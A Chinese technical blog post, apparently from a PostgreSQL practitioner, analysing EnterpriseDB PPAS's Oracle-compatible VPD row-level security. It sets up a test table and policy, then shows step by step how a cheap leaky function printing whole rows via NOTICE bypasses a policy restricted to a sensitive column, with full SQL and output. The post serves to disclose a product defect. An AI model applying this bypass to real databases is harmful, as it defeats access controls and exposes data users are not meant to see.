EnterpriseDB (PPAS) Oracle兼容性Virtual Private Database(VPD) 数据隔离以及当前缺陷
背景
不带barrier的视图是不安全的，我在前面写过文章来讲这个，以及如何攻击这种视图。
https://yq.aliyun.com/articles/14731
PostgreSQL 为了增强视图的安全，增加了barrier的属性，来解决被攻击的问题。
PostgreSQL 9.5 则提供了RLS来达到表数据隔离的目的，解决了需要使用视图来隔离数据的目的。
RLS的隔离可以参考我以前写的文章
http://blog.163.com/digoal@126/blog/static/16387704020153984016177/
回到本文的主题，EnterpriseDB 9.3针对Oracle的兼容性，提供了一个叫VPD的特性，因为9.3的版本较老，那个时候还没有RLS，所以这个特性其实是基于query rewrite来做的，与barrier视图类似。
用法参考（dbms_rls包）
https://www.enterprisedb.com/docs/en/9.5/eeguide/Postgres_Plus_Enterprise_Edition_Guide.1.158.html#pID0E02EE0HA
所以攻击方法一样有效，利用优化器的特性，先处理成本低的操作符或函数。
来看看怎么攻击？
正文
创建测试表和数据
postgres=# create table t2(id int, info text,id2 int);
CREATE TABLE
postgres=# insert into t2 values (1,'test',0);
INSERT 16633 1
postgres=# insert into t2 values (2,'test',1);
INSERT 16634 1
postgres=# insert into t2 values (3,'test',2);
INSERT 16635 1
postgres=# insert into t2 values (4,'test',2);
INSERT 16636 1
创建VPD函数，对于digoal用户，只允许他查看info=’digoal’的记录。
CREATE OR REPLACE FUNCTION vpd1(
s_schema character varying,
s_object character varying)
RETURNS character varying AS
$BODY$
RESULT varchar2(20);
rolname varchar2(64);
BEGIN
rolname = SYS_CONTEXT('USERENV', 'SESSION_USER');
if rolname = 'digoal' then
RESULT = 'info = ''' ||rolname||'''' ;
else
RESULT = '1=1' ;
END IF;
RETURN(RESULT);
END$BODY$
LANGUAGE edbspl VOLATILE SECURITY DEFINER
COST 100;
添加VPD策略， select 任意字段都启用vpd策略
DECLARE
v_object_schema VARCHAR2(30) := 'public';
v_object_name VARCHAR2(30) := 't2';
v_policy_name VARCHAR2(30) := 's_t2';
v_function_schema VARCHAR2(30) := 'public';
v_policy_function VARCHAR2(30) := 'vpd1';
v_statement_types VARCHAR2(30) := 'SELECT,INSERT,UPDATE,DELETE';
v_update_check boolean := true;
BEGIN
DBMS_RLS.ADD_POLICY(
v_object_schema,
v_object_name,
v_policy_name,
v_function_schema,
v_policy_function,
v_statement_types,
update_check => v_update_check
);
END;
连接到digoal用户
\c postgres digoal
查看执行计划，会筛选info=’digoal’的数据
postgres=> explain select id from t2;
QUERY PLAN
-----------------------------------------------------------------
Seq Scan on t2 (cost=0.00..24.50 rows=6 width=40)
Filter: ((info = 'digoal'::text) AND (info = 'digoal'::text))
(2 rows)
尝试视图攻击, 把函数的cost设置为很小
create or replace function f(v_t2 t2) returns boolean as $$
declare
begin
raise notice '%', v_t2;
return true;
end;
$$ language plpgsql strict cost 0.00000000001;
查看使用了f(t2)后的执行计划
postgres=> explain select * from t2 where f(t2);
QUERY PLAN
-----------------------------------------------------------------------------
Seq Scan on t2 (cost=0.00..24.50 rows=2 width=40)
Filter: ((info = 'digoal'::text) AND f(t2.*) AND (info = 'digoal'::text))
(2 rows)
实际上，无法攻击，效果与barrier视图类似，没有办法进行攻击
postgres=> select * from t2 where f(t2);
id | info | id2
----+------+-----
(0 rows)
postgres=> set enable_seqscan=off;
SET
postgres=> explain select * from t2 where id=1;
QUERY PLAN
-----------------------------------------------------------------
Index Scan using idx on t2 (cost=0.13..8.15 rows=1 width=40)
Index Cond: (id = 1)
Filter: ((info = 'digoal'::text) AND (info = 'digoal'::text))
(3 rows)
但是，如果你只针对隐私列进行筛选的话，那么就有漏洞了。
DECLARE
v_object_schema VARCHAR2(30) := 'public';
v_object_name VARCHAR2(30) := 't2';
v_policy_name VARCHAR2(30) := 's_t2';
BEGIN
DBMS_RLS.DROP_POLICY(
v_object_schema,
v_object_name,
v_policy_name
);
end;
DECLARE
v_object_schema VARCHAR2(30) := 'public';
v_object_name VARCHAR2(30) := 't2';
v_policy_name VARCHAR2(30) := 's_t2';
v_function_schema VARCHAR2(30) := 'public';
v_policy_function VARCHAR2(30) := 'vpd1';
v_statement_types VARCHAR2(30) := 'SELECT,INSERT,UPDATE,DELETE';
v_update_check boolean := true;
v_sec_relevant_cols text := 'info'; -- 隐私列, 不加的话默认是所有列强制走vpd
BEGIN
DBMS_RLS.ADD_POLICY(
v_object_schema,
v_object_name,
v_policy_name,
v_function_schema,
v_policy_function,
v_statement_types,
update_check => v_update_check,
sec_relevant_cols => v_sec_relevant_cols
);
END;
当没有查询到隐私列时，是不会带上filter的，所以给攻击带来了希望
\c postgres digoal
postgres=> explain select info from t2;
QUERY PLAN
-----------------------------------------------------------------
Seq Scan on t2 (cost=0.00..24.50 rows=6 width=32)
Filter: ((info = 'digoal'::text) AND (info = 'digoal'::text))
(2 rows)
postgres=> explain select id,id2 from t2;
QUERY PLAN
------------------------------------------------------
Seq Scan on t2 (cost=0.00..21.60 rows=1160 width=8)
(1 row)
带上隐私列时，filter会自动加上.
postgres=> select * from t2;
id | info | id2
----+------+-----
(0 rows)
在查询中不包含隐私列时，攻击成功
通过f函数已经成功的拿到了隐私列的内容
postgres=> select id,id2 from t2 where f(t2);
NOTICE: (1,test,0)
NOTICE: (2,test,1)
NOTICE: (3,test,2)
NOTICE: (4,test,2)
id | id2
----+-----
1 | 0
2 | 1
3 | 2
4 | 2
(4 rows)
关于connect by，PPAS会自动将其转换成with语法，同样能保证数据的安全。
postgres=> explain select id,id2,info from t2 t CONNECT BY PRIOR T.id2 = T.id START WITH T.id = '4';
QUERY PLAN
---------------------------------------------------------------------------------------------
Sort (cost=1278.31..1278.32 rows=6 width=72)
Sort Key: connectby_cte.siblingssortcol
CTE prior
-> Recursive Union (cost=0.00..1252.00 rows=1166 width=104)
-> WindowAgg (cost=0.00..24.57 rows=6 width=40)
-> Seq Scan on t2 t (cost=0.00..24.50 rows=6 width=40)
Filter: ((info = 'digoal'::text) AND (id = 4))
-> WindowAgg (cost=1.95..120.41 rows=116 width=104)
-> Hash Join (cost=1.95..118.38 rows=116 width=104)
Hash Cond: (t_1.id = prior.id2)
Join Filter: connectby_cyclecheck(prior.recursionpath, t_1.id2)
-> Seq Scan on t2 t_1 (cost=0.00..21.60 rows=1160 width=40)
Filter: (info = 'digoal'::text)
-> Hash (cost=1.20..1.20 rows=60 width=68)
-> WorkTable Scan on prior (cost=0.00..1.20 rows=60 width=68)
-> CTE Scan on prior connectby_cte (cost=0.00..26.23 rows=6 width=72)
Filter: (info = 'digoal'::text)
(17 rows)
postgres=> select id,id2,info from t2 t CONNECT BY PRIOR T.id2 = T.id START WITH T.id = '4';
id | id2 | info
----+-----+------
(0 rows)
postgres=> explain select id,id2 from t2 t CONNECT BY PRIOR T.id2 = T.id START WITH T.id = '4';
QUERY PLAN
---------------------------------------------------------------------------------------------
Sort (cost=1334.71..1337.62 rows=1166 width=40)
Sort Key: connectby_cte.siblingssortcol
CTE prior
-> Recursive Union (cost=0.00..1252.00 rows=1166 width=72)
-> WindowAgg (cost=0.00..24.57 rows=6 width=8)
-> Seq Scan on t2 t (cost=0.00..24.50 rows=6 width=8)
Filter: (id = 4)
-> WindowAgg (cost=1.95..120.41 rows=116 width=72)
-> Hash Join (cost=1.95..118.38 rows=116 width=72)
Hash Cond: (t_1.id = prior.id2)
Join Filter: connectby_cyclecheck(prior.recursionpath, t_1.id2)
-> Seq Scan on t2 t_1 (cost=0.00..21.60 rows=1160 width=8)
-> Hash (cost=1.20..1.20 rows=60 width=68)
-> WorkTable Scan on prior (cost=0.00..1.20 rows=60 width=68)
-> CTE Scan on prior connectby_cte (cost=0.00..23.32 rows=1166 width=40)
(15 rows)
postgres=> select id,id2 from t2 t CONNECT BY PRIOR T.id2 = T.id START WITH T.id = '4';
id | id2
----+-----
4 | 2
2 | 1
1 | 0
(3 rows)